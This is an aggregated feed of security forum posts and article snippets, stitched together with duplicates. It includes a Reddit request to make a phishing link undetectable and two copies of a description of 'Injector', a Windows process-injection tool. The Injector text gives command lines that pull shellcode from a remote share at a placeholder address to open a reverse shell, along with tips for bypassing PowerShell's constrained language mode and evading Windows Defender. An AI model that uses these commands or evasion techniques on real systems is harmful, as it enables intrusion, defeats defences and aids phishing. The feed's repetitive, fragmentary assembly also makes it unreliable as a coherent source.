hacking: security in practice
make phishing link underectable.

i have tried hosting phishing page on free domain but it didn't work

submitted by /u/Firm-Bunch-5049
[link] [comments]

hacking: security in practice
Inspecting a trojan's code

My friends pc got totally destroyed after he clicked on a link, that apparantly was an .exe file and turned out to be a trojan. I switched to Linux (Just Ubuntu at the moment) a few days ago and said that I think there's a few tools to inspect the code of such trojans.

Can anybody name some of those tools and tell me where to be careful? I don't think the trojan is harmful to my pc as you cannot execute .exe files on Linux, but I just want to make sure that I don't expose my computer to any harmful data.

My friend also mentioned that it turned out to be the "MEMZ" Trojan, but the guys who sent the file modded the trojan's code and got access to my friends webcam. (I don't expect anybody to give a full instruction, but I would just like to hear a few gold tools)

submitted by /u/Cornelv2
[link] [comments]

hacking: security in practice
Looking to learn packet editing.

If anyone can send me in the right direction for tools in say capturing a ps4s communicating packets with a games cloud. Before theyre sent thatd be pretty neat. I wanna test some cool stuff.

submitted by /u/downy-syndromez
[link] [comments]

hacking: security in practice
Which Ip?

I'm sorry if this question is a bit stupid but I plan on DDOSing myself with LOIC. I am not sure whether to enter my getaway ip or my real ip(when you google what is my ip). Thanks

submitted by /u/Alidapro65
[link] [comments]

Recommendations on starting thick client application pen-testing training or courses
https://www.reddit.com/r/Pentesting/comments/ok0r51/recommendations_on_starting_thick_client/

<!-- SC_OFF -->Hi all, as above. Any experienced testers can provide recommendations to start-off? Open to online courses as well . <!-- SC_ON --> submitted by /u/MKimson (https://www.reddit.com/user/MKimson)
[link] (https://www.reddit.com/r/Pentesting/comments/ok0r51/recommendations_on_starting_thick_client/) [comments] (https://www.reddit.com/r/Pentesting/comments/ok0r51/recommendations_on_starting_thick_client/)

Kali Linux Tutorials
Salus : Security Scanner Coordinator

Salus (Security Automation as a Lightweight Universal Scanner), named after the Roman goddess of protection, is a tool for coordinating the execution of security scanners. You can run Salus on a repository via the Docker daemon and it will determine which scanners are relevant, run them and provide the output. Most scanners are other mature open […]

The post Salus : Security Scanner Coordinator appeared first on Kali Linux Tutorials.

Vulnerabilities in Booking Core 1.7
https://medium.com/@singh.satyam158/vulnerabilities-in-booking-core-1-7-d85d1dfae44e?source=rss------bug_bounty-5

Hello everyone and welcome to my first blog on Medium. I have been writing blogs on the information security domain which can be found at…Continue reading on Medium » (https://medium.com/@singh.satyam158/vulnerabilities-in-booking-core-1-7-d85d1dfae44e?source=rss------bug_bounty-5)

Hacking on Medium
HackTheBox CAP walk-through

https://cdn-images-1.medium.com/max/1090/1*clQS3yW0eLILxIkVdjHeLg.png
CAP was a fairly simple Box. I’d personally recommend it to beginners in the Information Security field. But enough talking. Let’s get to…

Continue reading on Medium »

Hacking on Medium
Vulnerabilities in Booking Core 1.7

https://cdn-images-1.medium.com/max/1920/1*iDZOn4BSlf_GxvFxIEkwFw.png
Hello everyone and welcome to my first blog on Medium. I have been writing blogs on the information security domain which can be found at…

Continue reading on Medium »

Injector - Complete Arsenal Of Memory Injection And Other Techniques For Red-Teaming In Windows

Complete Arsenal of Memory injection and other techniques for red-teaming in WindowsWhat does Injector do? Process injection support for shellcode located at remote server as well as local storage. Just specify the shellcode file and it will do the rest. It will by default inject into notepad.exe and if not found, it will create a notepad process and inject into it for persistence. Reflective DLL Injection for DLL injection. It downloads the DLL and injects into remote process. Process hollowing via svchosts.exe With -bypass flag it tends to use more advanced un-documented API for process injeciton and the routine itself gets changes. Now even supports encrypted shellcode i.e AES encrypted and Xor encryted shellcode are now supported. To encrypt the shellcode use Helper.exe in order to maintain consistency. Supports CLM bypass for powershell. Just drop it to a whitelisted folder where you can execute C# binary, for instance at C:\Windows\Tasks Now comes with support for DLL Hollowing. DLL hollowing is implemented via the dllhollow.dll! So in case you end up using this mode, make sure the dll and the exe are in same place. decryption for shellcode -pass Specifty the password for Xor decryption -decrypt-aes Specify aes decryption for shellcode -pass Specifty the password for aes decryption -location Specify the location i.e either server or local -bypass Uses enhance attempts to bypass AV ">C:\Users\admin>Injector.exeHelp Options for Xenon:-m Mode of operation -m 1 Specifies the mode as Process injection -m 2 Specifies the mode as Reflective DLL Injection -m 3 Specifies the mode as Process Hollowing -m 4 No injection! Give me my damn shell -m 5 Powershell session via CLM bypass -m 6 DLL hollowing-TempFile File location that your current user can read-shellcode Use shellcode-dll Use dll-decrypt-xor Specify Xor decryption for shellcode -pass Specifty the password for Xor decryption-decrypt-aes Specify aes decryption for shellcode -pass Specifty the password for aes decryption-location Specify the location i.e either server or local-bypass Uses enhance attempts to bypass AV To generate encrypted shellcode, use Helper.exe on kali along with proper switch. Example of usage Injector.exe -m=1 -shellcode -encrypt-aes -pass=password -location="\\192.x.x.x\share\shellcode.txt" -bypass This is will decrypt your shellcode and give you reverse shell. Presence of bypass flag instructs injector to use some other ways to get reverse shell i.e using some undocumented Win API. In case you dont wanna use encrypted shellcode, you can also run it simply like below Injector.exe -m=1 -shellcode -location="\\192.x.x.x\share\shellcode.txt" Just change the -m=1 to 2,3,4,6 to run other modes. Injector.exe -m=5 -TempFile=C:\\Users\\user\\sample.txt This will give you a session where you can execute IEX cradle and get a proper reverse shell hence bypassing CLM. Help me with Antivirus? A specific function called basicrev in Program.cs of Injector triggers windows defender. It is advised to edit the function and remove the WaitForSingleObject line which will end up making that whole module useless but helps to bypass defender on Windows. Why to use a basic reverse shell mode when advance modes will give you persistence and help evade defender better :) Why make it? Main aim is to help me in OSEP :P Talk to me? Shoot me a DM on twitter @gh0st_R1d3r_0x9 to talk abt more interesting indeas/modules that can make this more amazing! Current module in pipeline Phantom DLL Injection Acknowledgements Ired Team Download Injector
Read more...

RFD Vulnerability And Content-Disposition Header Bypass Story!

Hey everyone! Hope everyone doing good.Continue reading on Medium »
Read more...

Vulnerabilities in Booking Core 1.7

Hello everyone and welcome to my first blog on Medium. I have been writing blogs on the information security domain which can be found at…Continue reading on Medium »
Read more...

Account Takeover with the Ability to Bypass Email Verification

Assalamualaikum Bug Hunter.Continue reading on Medium »
Read more...

Injector - Complete Arsenal Of Memory Injection And Other Techniques For Red-Teaming In Windows
http://www.kitploit.com/2021/07/injector-complete-arsenal-of-memory.html

Complete Arsenal of Memory injection and other techniques for red-teaming in Windows
What does Injector do?
Process injection support for shellcode located at remote server as well as local storage. Just specify the shellcode file and it will do the rest. It will by default inject into notepad.exe and if not found, it will create a notepad process and inject into it for persistence. Reflective DLL Injection (https://www.kitploit.com/search/label/DLL%20Injection) for DLL injection. It downloads the DLL and injects into remote process. Process hollowing via svchosts.exe With -bypass flag it tends to use more advanced un-documented API for process injeciton and the routine itself gets changes. Now even supports encrypted shellcode i.e AES encrypted and Xor encryted shellcode are now supported. To encrypt the shellcode use Helper.exe in order to maintain consistency. Supports CLM bypass for powershell. Just drop it to a whitelisted folder where you can execute C# binary, for instance at C:\Windows\Tasks Now comes with support for DLL Hollowing. DLL hollowing is implemented via the dll_hollow.dll! So in case you end up using this mode, make sure the dll and the exe are in same place. Injector.exe Help Options for Xenon: -m Mode of operation -m 1 Specifies the mode as Process injection -m 2 Specifies the mode as Reflective DLL Injection -m 3 Specifies the mode as Process Hollowing -m 4 No injection! Give me my damn shell -m 5 Powershell session via CLM bypass -m 6 DLL hollowing -TempFile File location that your current user can read -shellcode Use shellcode -dll Use dll -decrypt-xor Specify Xor decryption for shellcode -pass Specifty the password for Xor decryption -decrypt-aes Specify aes decryption (https://www.kitploit.com/search/label/AES%20Decryption) for shellcode -pass Specifty the password for aes decryption -location Specify the location i.e either server or local -bypass Uses enhance attempts to bypass AV ">C:\Users\admin>Injector.exe
Help Options for Xenon:
-m Mode of operation
-m 1 Specifies the mode as Process injection
-m 2 Specifies the mode as Reflective DLL Injection
-m 3 Specifies the mode as Process Hollowing
-m 4 No injection! Give me my damn shell
-m 5 Powershell session via CLM bypass
-m 6 DLL hollowing

-TempFile File location that your current user can read
-shellcode Use shellcode
-dll Use dll
-decrypt-xor Specify Xor decryption for shellcode
-pass Specifty the password for Xor decryption
-decrypt-aes Specify aes decryption for shellcode
-pass Specifty the password for aes decryption
-location Specify the location i.e either server or local
-bypass Uses enhance attempts to bypass AV
To generate encrypted shellcode, use Helper.exe on kali along with proper switch.
Example of usage
Injector.exe -m=1 -shellcode -encrypt-aes -pass=password -location="\\192.x.x.x\share\shellcode.txt" -bypass
This is will decrypt your shellcode and give you reverse shell. Presence of bypass flag instructs injector to use some other ways to get reverse shell i.e using some undocumented Win API. In case you dont wanna use encrypted shellcode, you can also run it simply like below Injector.exe -m=1 -shellcode -location="\\192.x.x.x\share\shellcode.txt"
Just change the -m=1 to 2,3,4,6 to run other modes. Injector.exe -m=5 -TempFile=C:\\Users\\user\\sample.txt
This will give you a session where you can execute IEX cradle and get a proper reverse shell hence bypassing (https://www.kitploit.com/search/label/Bypassing) CLM.
Help me with Antivirus?

___________________________
@hacking_Attack
@Hacking_Video